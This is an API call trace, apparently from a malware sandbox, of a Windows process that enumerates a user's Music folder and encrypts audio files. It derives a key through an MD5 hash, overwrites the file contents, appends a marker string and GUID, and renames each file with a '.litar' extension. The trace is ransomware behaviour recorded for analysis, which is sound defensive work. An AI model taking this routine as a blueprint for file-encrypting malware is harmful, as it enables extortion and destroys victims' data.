(HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.836] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.836] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.836] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.836] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\") returned="YJf_dR\\" [0126.836] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0126.836] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\") returned="zTvNij62y31ygD\\" [0126.836] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.836] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0126.836] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.836] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.836] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.836] PathFindFileNameW (pszPath="") returned="" [0126.836] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8c696f0, ftCreationTime.dwHighDateTime=0x1d4c735, ftLastAccessTime.dwLowDateTime=0xd4b12ae0, ftLastAccessTime.dwHighDateTime=0x1d4d234, ftLastWriteTime.dwLowDateTime=0xd4b12ae0, ftLastWriteTime.dwHighDateTime=0x1d4d234, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.838] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8c696f0, ftCreationTime.dwHighDateTime=0x1d4c735, ftLastAccessTime.dwLowDateTime=0xd4b12ae0, ftLastAccessTime.dwHighDateTime=0x1d4d234, ftLastWriteTime.dwLowDateTime=0xd4b12ae0, ftLastWriteTime.dwHighDateTime=0x1d4d234, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.838] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf530b5f0, ftCreationTime.dwHighDateTime=0x1d4d023, ftLastAccessTime.dwLowDateTime=0x5e3ab540, ftLastAccessTime.dwHighDateTime=0x1d4d4b2, ftLastWriteTime.dwLowDateTime=0x5e3ab540, ftLastWriteTime.dwHighDateTime=0x1d4d4b2, nFileSizeHigh=0x0, nFileSizeLow=0xb272, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3mMy51V.wav", cAlternateFileName="")) returned 1 [0126.838] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\3mMy51V.wav") returned=".wav" [0126.838] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\3mMy51V.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\3mmy51v.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.839] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=45682) returned 1 [0126.839] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.841] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb24c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.841] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.842] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xb272, lpOverlapped=0x0) returned 1 [0126.843] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.843] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.843] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.843] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.844] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.844] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.844] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.844] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.844] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.844] GetLastError () returned 0x0 [0126.844] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.844] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.844] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.844] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb270) returned 0x30fa0b0 [0126.844] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.844] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.844] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xb26d, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xb26d, lpOverlapped=0x0) returned 1 [0126.844] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.845] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb272, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.845] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.845] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.845] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.845] CloseHandle (hObject=0x624) returned 1 [0126.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.846] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\3mMy51V.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\3mmy51v.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\3mMy51V.wav.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\3mmy51v.wav.litar")) returned 1 [0126.847] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.847] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.848] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.848] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x301ceca0, ftCreationTime.dwHighDateTime=0x1d4c6b1, ftLastAccessTime.dwLowDateTime=0xa0d82550, ftLastAccessTime.dwHighDateTime=0x1d4c7cd, ftLastWriteTime.dwLowDateTime=0xa0d82550, ftLastWriteTime.dwHighDateTime=0x1d4c7cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7fX2K", cAlternateFileName="")) returned 1 [0126.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.848] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074fd8 [0126.848] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.848] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.848] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c929140, ftCreationTime.dwHighDateTime=0x1d4ce00, ftLastAccessTime.dwLowDateTime=0x238a05b0, ftLastAccessTime.dwHighDateTime=0x1d4c894, ftLastWriteTime.dwLowDateTime=0x238a05b0, ftLastWriteTime.dwHighDateTime=0x1d4c894, nFileSizeHigh=0x0, nFileSizeLow=0x10c67, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L4TT06vVg0ef.m4a", cAlternateFileName="L4TT06~1.M4A")) returned 1 [0126.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.848] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.848] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\L4TT06vVg0ef.m4a") returned=".m4a" [0126.848] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\L4TT06vVg0ef.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\l4tt06vvg0ef.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.848] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=68711) returned 1 [0126.848] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.850] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10c41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.850] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.851] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.851] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.852] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x10c67, lpOverlapped=0x0) returned 1 [0126.852] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.852] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.852] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.852] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.852] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.853] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.853] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.853] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.853] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.853] GetLastError () returned 0x0 [0126.853] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.853] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.853] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10c70) returned 0x30fa0b0 [0126.854] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.854] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x10c62, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x10c62, lpOverlapped=0x0) returned 1 [0126.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.854] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10c67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 